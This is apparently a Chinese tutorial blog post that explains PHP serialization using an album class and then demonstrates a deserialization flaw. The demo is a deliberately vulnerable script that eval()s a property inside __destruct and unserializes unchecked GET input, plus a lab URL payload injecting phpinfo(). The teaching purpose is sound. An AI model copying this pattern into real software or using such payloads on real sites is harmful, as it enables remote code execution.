以前我觉得成绩不重要,清华北大只能代表学生时代的成就,后来才发现,努力是种习惯,他会贯穿一生。。。

----  网易云热评

一、创建类和对象

<?php

#创建一个Jay专辑类

class Jay{ 

    public $name;

    public $year;

    public $mus;

}

 

#创建一个Jay专辑对象

$jay1 =new Jay();

#专辑名称

$jay1->name="周杰伦的床边故事";

#专辑发行时间

$jay1->year=2016;

#专辑主打歌

$jay1->mus="告白气球";

 

 

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

 

 

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

echo var_dump($jay2);

?>

运行结果:

PHP反序列化漏洞_渗透测试

二、序列化与反序列化概念

1、将一个对象转化为字符串并存储在一个文件中的过程被称为序列化

2、等到需要对象信息的时候,再从文件读取字符串的过程被称为反序列化

3、应用场景:将一个登录状态的用户的信息序列化,可以节省内存

 

三、将对象序列化与反序列化

1、序列化

<?php

#创建一个Jay专辑类

class Jay{

    public $name;

    public $year;

    public $mus;

}

 

 

#创建一个Jay专辑对象

$jay1 =new Jay();

#专辑名称

$jay1->name="周杰伦的床边故事";

#专辑发行时间

$jay1->year=2016;

#专辑主打歌

$jay1->mus="告白气球";

 

 

 

 

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

 

 

 

 

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

#将对象jay2序列化

echo var_dump($jay2);

?>

 

运行结果:

PHP反序列化漏洞_web安全_02

O:object对象

第一个3:Jay的长度

第二个3:有三个属性值

s:string类型

4:name的程度

18:哎呦,不错哦的长度

i:int类型

每两个分号确定一个属性

 

2、反序列化

$str=<<<HTML

O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

HTML;

var_dump(unserialize($str));

运行结果

PHP反序列化漏洞_web安全_03

 

四、利用序列化漏洞

<?php

class Jay{

    public $name;

    public $year;

    public $mus;

    function __destruct()//程序结束的时候的会自动调用该函数,类似构造函数,创建对象会自动调用

    {

    @eval($this->mus);

        

    }

}

 

$jay1 =new Jay();

$jay1->name="周杰伦的床边故事";

$jay1->year=2016;

$jay1->mus="告白气球";

 

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

 

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus."<hr>";

echo serialize($jay2);

echo "<hr>";

 

//将反序列操作的字符改为变量传递,并通过get方式提交

$tmp=$_GET['aaa'];

var_dump(unserialize($tmp));

 

?>

运行结果:

​http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}​

PHP反序列化漏洞_php反序列化_04

修改一下mus的反序列字符串,修改为如下:

​http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:10:"phpinfo();";}​

运行结果:

PHP反序列化漏洞_web安全_05

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

PHP反序列化漏洞_php_06

PHP反序列化漏洞_序列化_07